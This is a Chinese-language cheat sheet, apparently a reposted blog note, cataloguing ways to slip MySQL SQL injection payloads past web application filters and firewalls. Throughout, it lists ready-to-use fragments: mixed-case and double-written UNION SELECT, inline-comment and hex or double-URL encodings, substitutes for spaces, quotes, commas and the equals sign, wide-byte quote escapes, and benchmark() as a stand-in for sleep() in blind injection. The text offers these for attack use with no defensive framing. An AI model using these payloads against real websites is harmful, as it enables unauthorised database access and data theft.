參考鏈接:https://blog.csdn.net/huanghelouzi/article/details/82995313
https://www.cnblogs.com/vincy99/p/9642882.html
目錄:
- 大小寫繞過
- 雙寫繞過
- 內聯注釋繞過
- 編碼繞過
- <>繞過
- 注釋符繞過
- 對空格的繞過
- 對or/and的繞過
- 對等號=的繞過
- 對單引號的繞過
- 對逗號的繞過
- 過濾函數繞過
0x01 大小寫繞過
UniOn SeleCt
0x02 雙寫繞過
ununionion seselectlect
0x03 內聯注釋繞過
內聯注釋就是把一些特有的僅在MYSQL上的語句放在 /*!...*/
中,這樣這些語句如果在其它數據庫中是不會被執行,但在MYSQL中會執行。
and /*!select*/ 1,2
0x04 編碼繞過
16進制繞過:
select * from users where username = test1;
select * from users where username = 0x7465737431;
對關鍵字進行兩次url全編碼:
1+and+1=2 1+%25%36%31%25%36%65%25%36%34+1=2
unicode編碼對部分符號的繞過:
單引號=> %u0037 %u02b9 空格=> %u0020 %uff00 左括號=> %u0028 %uff08 右括號=> %u0029 %uff09
0x05 <>繞過
某些網站過濾了“<>”符號才行:
unio<>n sel<>ect
0x06注釋符繞過
uni/**/on se/**/lect
0x07對空格的繞過
/**/
%20 %09
()
回車(url編碼中的%0a)
`(tap鍵上面的按鈕)
tap
兩個空格
0x08 對or/and的繞過
and = &&
or = ||
0x09 對等號=的繞過
不加通配符
的like
執行的效果和=
一致,所以可以用來繞過;
rlike
的用法和上面的like
一樣,沒有通配符效果和=
一樣;
regexp:MySQL中使用 REGEXP 操作符來進行正則表達式匹配
<> 等價於 != ,所以在前面再加一個!
結果就是等號了
?id=1 or 1 like 1 ?id=1 or 1 rlike 1 ?id=1 or 1 regexp 1 ?id=1 or !(1 <> 1)或者1 !(<>) 1
0x10 對單引號的繞過
寬字符
# 過濾單引號時 %bf%27 %df%27 %aa%27
使用十六進制
'users'=>0x7573657273
0x11 對逗號的繞過
盲注中使用 from n1 for n2 ,其中n1代表從n1個開始讀取n2長度的子串
select substr("string",1,3); 等價於 select substr("string" from 1 for 3);
使用join
關鍵字來繞過
union select 1,2,3 等價於 union select * from (select 1)a join (select 2)b join(select 3)c
使用offset關鍵字:
適用於limit中的逗號被過濾的情況
limit 2,1等價於limit 1 offset 2
0x12 過濾函數繞過
sleep() -->benchmark()
and sleep(1) 等價於 and benchmark(1000000000,1)
group_concat()–>concat_ws()
select group_concat("str1","str2");
等價於 select concat_ws(",","str1","str2");